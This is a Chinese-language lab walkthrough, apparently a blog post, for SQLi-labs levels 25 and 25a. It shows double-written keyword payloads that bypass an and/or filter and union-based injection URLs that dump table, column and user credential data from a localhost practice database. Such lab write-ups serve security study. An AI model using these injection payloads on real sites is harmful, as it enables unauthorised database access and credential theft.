SQLI-labs-第二十五关和第二十五a关
目录
第二十五关
1、判断注入点
2、判断数据库
3、判断表名
4、判断字段名
5、获取数据库的数据
第二十五a关
1、判断注入点
2、判断数据库
第二十五关
知识点：绕过and、or过滤
思路：
通过分析源码和页面，我们可以知道对and和or 进行了过滤，我们需要绕过这些过滤，常见的绕过方式有大小写，双写，编码等
1、判断注入点
首先，我们输入正常的数据，看看回显
接着加入单引号
http://127.0.0.1:3306/Less-25/?id=1'
数据库语句报错，说明存在闭合问题，我们加入注释符
http://127.0.0.1:3306/Less-25/?id=1' --+
数据正常回显，说明这里的闭合方向正确，存在单引号的闭合问题
这里可以看到输入and、or被过滤掉了
尝试一下大小写混合，发现也是不行
这里因为源码对大小写进行忽略
/i的作用就是忽略大小写
我们尝试使用双写绕过
http://127.0.0.1:3306/Less-25/?id=1' anandd 1=1 --+
http://127.0.0.1:3306/Less-25/?id=1' oorr 1=1 --+
说明双写可以绕过
判断字段数
http://127.0.0.1:3306/Less-25/?id=1' oorrder by 3--+
http://127.0.0.1:3306/Less-25/?id=1' oorrder by 4 --+
说明当前的表的字段数有三个
判断数据回显位置
2、判断数据库
http://127.0.0.1:3306/Less-25/?id=-1' union select 1,2,database() --+
3、判断表名
使用group_concat()函数
http://127.0.0.1:3306/Less-25/?id=-1' union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema='security' --+
4、判断字段名
以users表为例
http://127.0.0.1:3306/Less-25/?id=-1' union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_schema='security' anandd table_name='users'--+
5、获取数据库的数据
使用concat_ws()函数
http://127.0.0.1:3306/Less-25/?id=-1' union select 1,2,concat_ws(',',id,username,passwoorrd) from security.users limit 0,1 --+
通过修改limit的值可以获取全部数据
第二十五a关
知识点：绕过and、or过滤
思路：
通过分析源码，可以知道跟25关一样，过滤了and、or ，且不区分大小写，所以用双写绕过，而且没有显示报错信息
1、判断注入点
首先，我们输入正常的数据，看看回显
http://127.0.0.1:3306/Less-25a/?id=1
加入单引号’
http://127.0.0.1:3306/Less-25a/?id=1'
报错了，但没有显示具体的报错原因，加上注入符 --+
http://127.0.0.1:3306/Less-25a/?id=1' --+
这里还是报错，以为是闭合方式不对，把 " ') ") 都试了一遍，还是不对，结果看源码，才发现是数值型注入，忽略还有这个类型，把自己给蠢笑了，哈哈哈
http://127.0.0.1:3306/Less-25a/?id=1 and 1=1 --+
这里发现and、or都被过滤，跟上面的思路一样，尝试大小写，双写，结果发现双写可以绕过
http://127.0.0.1:3306/Less-25a/?id=1 anandd 1=1 --+
将1=1，改成1=2
http://127.0.0.1:3306/Less-25a/?id=1 anandd 1=2 --+
数据没有回显，但没有报错，这也说明当前是数值型的注入
判断字段数
http://127.0.0.1:3306/Less-25a/?id=1 oorrder by 3 --+
http://127.0.0.1:3306/Less-25a/?id=1 oorrder by 4 --+
说明当前表的字段有3个
判断回显位置
http://127.0.0.1:3306/Less-25a/?id=1 anandd 1=2 union select 1,2,3--+
或者 http://127.0.0.1:3306/Less-25a/?id=-1 union select 1,2,3--+
2、判断数据库
http://127.0.0.1:3306/Less-25a/?id=-1 union select 1,2,database()--+
接下来的步骤就跟上面的差不多了，可以才参考上面的
这篇文章就先写到这里了，哪里不懂的或者不好的，欢迎指出